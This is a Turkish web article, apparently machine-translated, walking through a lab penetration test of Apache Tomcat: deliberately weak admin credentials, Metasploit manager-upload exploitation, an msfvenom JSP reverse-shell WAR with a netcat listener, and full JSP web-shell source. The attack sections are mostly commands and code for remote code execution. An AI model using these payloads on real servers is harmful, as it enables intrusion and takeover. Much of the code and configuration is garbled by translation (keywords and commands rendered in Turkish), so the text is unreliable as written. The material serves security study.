Ana Sayfa Arama Galeri Video Yazarlar
Üyelik
Üye Girişi
Yayın/Gazete
Yayınlar
Kategoriler
Servisler
Nöbetçi Eczaneler Sayfası Nöbetçi Eczaneler Hava Durumu Namaz Vakitleri Puan Durumu
WhatsApp
Sosyal Medya
Uygulamamızı İndir
Sercan BAYRAM
Sercan BAYRAM

Tomcat Penetrasyon Testi

Tomcat Penetrasyon Testi

  • Laboratuvar Kurulumu
  • Kurulum
  • Yapılandırma
  • Sayım
  • Metasploit Çerçevesi kullanılarak yapılan sömürü
  • Manuel Olarak İstismar Etme (Reverse Shell)
  • Manuel Olarak İstismar Etme (Web Shell)

Laboratuvar Kurulumu

Bu makalede, Ubuntu makinesine Tomcat sunucusunu kurup dosya yükleme güvenlik açığından yararlanacağız. Makineler şunlardır:

Hedef Makine: Ubuntu (192.168.1.5)

Saldırgan Makinesi: Kali Linux (192.168.1.7)

Kurulum

Apache Tomcat, Java tabanlıdır, yani sunucunuzda Java JDK’nın yüklü olması gerekir. Aşağıdaki komutu çalıştırarak yükleyebilirsiniz:

apt install openjdk- 11 -jdk

Aşağıdaki komutu kullanarak tomcat adında yeni bir kullanıcı ekleyin :

useradd -m -U -d /opt/tomcat -s /bin/ false tomcat

Daha sonra Tomcat tar.gz dosyasını resmi web sitesinden indirin.

Daha sonra web sitesinden son sürümü ubuntu makinenize indirin ve indirdiğiniz dosyaları çıkartın.

wget https: //archive.apache.org/dist/tomcat/tomcat-10/v10.0.20/bin/apache-tomcat-10.0.20.tar.gz
tar -xvf apache-tomcat- 10.1 . 20 . katran . gz

Çıkarılan klasörü /opt/tomcat dizinine taşıyın, sahiplik izinlerini tomcat kullanıcısına verin ve ikili dosyalarda çalıştırma izinlerini ayarlayın.

mv apache-tomcat- 10.1 . 20 /* /opt/tomcat
chown -R tomcat: /opt/tomcat
sh -c ‘chmod +x /opt/tomcat/bin/*.sh ‘

/etc/systemd/system/ dizininde bir tomcat.service dosyası oluşturun ve dosyaya aşağıdaki içeriği ekleyin:

[ Birim ]
Açıklama=Apache Tomcat
Sonra= ağ.hedef
[ Hizmet ]
Tür=çatallanma
Kullanıcı=tomcat
Grup=erkek kedi
Ortam=JAVA_HOME=/usr/lib/jvm/java- 11 -openjdk-amd64
Ortam=CATALINA_PID=/opt/tomcat/ tomcat.pid
Ortam=CATALINA_HOME=/opt/tomcat
Ortam=CATALINA_BASE=/opt/tomcat
Ortam= “CATALINA_OPTS=-Xms512M -Xmx1024M -server -XX:+UseParallelGC”
ExecStart=/opt / tomcat/bin/başlangıç.sh
ExecStop=/opt/tomcat/bin/ kapatma.sh
ExecReload=/bin/kill $MAINPID
ÇıkıştanSonraKal=evet
[ Düzenlemek ]
WantedBy=çok kullanıcılı. hedef

Değişiklikleri uygulamak için systemd daemon’unu aşağıdaki komutu kullanarak yeniden yükleyin:

systemctl daemon-yeniden yükleme

 Ayrıca, tomcat servisinin sistem yeniden başlatıldığında başlamasını sağlayın.

systemctl enable –now tomcat

Tomcat sunucusunun durumunu kontrol ediyoruz:

systemctl durumu tomcat

Yapılandırma

Kurulum tamamlandıktan sonra Tomcat sunucusunu yapılandırmanın zamanı geldi.

Yönetici kullanıcı şifresini oluşturmak için aşağıdaki dosyada değişiklik yapın:

nano /opt/tomcat/conf/tomcat-users.xml

Aşağıdaki kodu </tomcat-users> kodunun üstüne ekleyin :

< rol rol adı= “yönetici-gui” / >
< rol rol adı= “yönetici-gui” / >
< kullanıcı kullanıcı adı= “admin” parola= “şifre” roller= “admin-gui,yönetici-gui” / >

Tomcat Manager için uzaktan erişimi etkinleştirmek için, manager ve host-manager dizininde bulunan context.xml dosyasında aşağıdaki değişiklikleri yapın .

nano /opt/tomcat/webapps/manager/META-INF/context.xml
nano /opt/tomcat/webapps/host-manager/META-INF/context.xml

Yukarıdaki her iki dosyadan da aşağıdaki satırı aşağıda gösterildiği gibi kaldırın:

Değişiklikler tamamlandıktan sonra Ubuntu’da Tomcat servisini yeniden başlatın.

systemctl tomcat’ı yeniden başlat

Ubuntu makinesinde Tomcat sunucusunun 8080 portunda çalışır durumda olduğunu gözlemleyin.

Sayım

Kurulum ve yapılandırma tamamlandıktan sonra şimdi numaralandırma aşamasına geçiyoruz.

Saldırgan makinesi olarak Kali Linux kullanıldığında, nmap kullanılarak ilk sayım yapılabilir.

nmap -p 8080 -sV 192.168 . 1 . 5

Metasploit Çerçevesi kullanılarak yapılan sömürü

Tomcat dosya yükleme güvenlik açığı için Metasploit’i bir exploit olarak kullanarak işlevselliği ilk kez deneyebilirsiniz . Burada kullanılan exploit: exploit/multi/http/tomcat_mgr_upload .

Metasploit’in içine, exploit’i çalıştırmak için aşağıdaki komutları yazın:

exploit/multi/http/tomcat_mgr_upload kullanın
rhosts’u 192.168 . 1 . 5 olarak ayarla
rapor 8080’i ayarla
httpusername admin’i ayarla
httppassword şifresini ayarla
hedefleri göster
hedef 2’yi belirle
yük linux/x86/meterpreter_reverse_tcp’yi ayarla
faydalanmak

Yukarıdan bakıldığında ters bir kabuğun elde edildiği ve komutların meterpreter kabuğu kullanılarak çalıştırılabildiği görülebilir .

Manuel Olarak Sömürme (Reverse Shell)

Saldırganlar ayrıca yukarıdaki istismar sürecini manuel olarak da gerçekleştirebilirler . Bunu yapmak için öncelikle msfvenom kullanarak bir .war dosyası oluşturmaları gerekir .

msfvenom -p java/jsp_shell_reverse_tcp lhost= 192.168 . 1 . 7 lport= 1234 -f savaş > kabuk. savaş

Daha sonra shell.war dosyası oluşturulduktan sonra saldırganların bu dosyayı Tomcat Manager Uygulamasına yüklemeleri gerekmektedir .

Yönetici Uygulamasına erişmek için kullanıcıların temel kimlik doğrulaması sağlamaları gerekir . Genellikle, Tomcat yönetici uygulamasına erişim sağlamak için kullanıcı adı adminve parola kullanılır .password

Giriş yaptıktan sonra, WAR dosyası dağıtım işlevini kullanarak daha önce oluşturulan shell.war dosyasını yükleyebilirler .

Dosya yüklendikten sonra yüklenen dosyalar bölümünde görülebilir.

Yüklenen dosyaya erişmeden önce 1234 portunda bir netcat dinleyicisi başlatın .

rlwrap nc -lvnp 1234

Ters kabuğu elde etmek için dosyaya erişmek üzere /shell’e tıklayın .

Ters kabuk 1234 numaralı porttan elde edilir.

Manuel Olarak İstismar Etme (Web Shell)

Saldırganlar, bir web kabuğu elde etmek için .jsp dosyaları içeren bir .war dosyası kullanabilirler . .war dosyası sunucuya yüklendiğinde, web kabuğuna erişim sağlar .

.jsp dosyalarını içeren bir .war dosyası oluşturmak için kullanıcıların Kali Linux makinesine Java yüklemeleri gerekir .

apt install openjdk- 11 -jdk

Şimdi bir webshell dizini oluşturalım, içine index.jsp dosyasını yerleştirelim .

mkdir web kabuğu
cd web kabuğu
nano indeks.jsp

Aşağıdaki kodu web shell için index.jsp dosyasına kopyalayın.

< FORM YÖNTEMİ=EYLEMİ AL= ‘index.jsp’ >
< GİRİŞ adı= ‘cmd’ türü=metin >
< GİRİŞ türü=gönder değeri= ‘Çalıştır’ >
< /FORM >
< %@ sayfa içe aktarma= “java.io.*” % >
< %
Dize cmd = istek.getParameter ( cmd” ) ;
Dize çıktısı = “” ;
eğer ( cmd != null ) {
Dize s = null ;
denemek {
İşlem p = Çalışma zamanı. getRuntime () . exec ( cmd, null , null ) ;
BufferedReader sI = yeni BufferedReader ( yeni
GirişAkışıOkuyucusu ( p. GirişAkışınıAl ())) ;
while (( s = sI. readLine ()) != null ) { çıktı += s+ “</br>” ; }
} catch ( IOException e ) { e.printStackTrace ( ) ; }
}
% >
< ön >< %=çıktı % >< /ön >

index.jsp dosyası oluşturulduktan sonra , dizini .war dosyasına dönüştürerek paket oluşturulabilir .

jar -cvf ../webshell.war *

Webshell.war dosyası oluşturulduktan sonra dağıtım fonksiyonuna yükleniyor.

Yüklenen webshell dizini içerisinde index.jsp sayfasına ulaşılabilir ve bir webshell elde edilir.

Yukarıdaki manuel istismarı yapmanın alternatif bir yolu cmd.jsp dosyasını indirip zip kullanarak bir webshell.war dosyası oluşturmaktır .

Webshell jsp dosyası buradan indirilebilir:

https://github.com/tennc/webshell/tree/master/fuzzdb-webshell/jsp

Daha sonra cmd.jsp dosyası indirildikten sonra aşağıdaki komut kullanılarak revshell.war dosyası oluşturulabilir:

zip -r revshell.war cmd.jsp

Dağıtım işlevine revshell.war dosyasını yükledikten sonra, daha önce tartışılan prosedürü tekrarlıyoruz . Web kabuğu, şu yoldaki dosyaya erişildikten sonra elde edilir: http://192.168.1.5:8080/revshell/cmd.jsp

 

Özünde, Apache Tomcat, geliştiricilerin ve yöneticilerin çeşitli ihtiyaçlarını karşılayan çok yönlülük ve güvenliğin bir karışımını sunarak, Java web uygulamalarını dağıtmak için tercih edilen bir seçenek olmaya devam ediyor . Bununla birlikte, yanlış yapılandırmalar nedeniyle saldırganlar, Uzaktan Kod Yürütme gibi istenmeyen eylemleri gerçekleştirmek için bunu kötüye kullanabilir .

YORUMLAR

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

YAZARLAR
TÜMÜ

SON HABERLER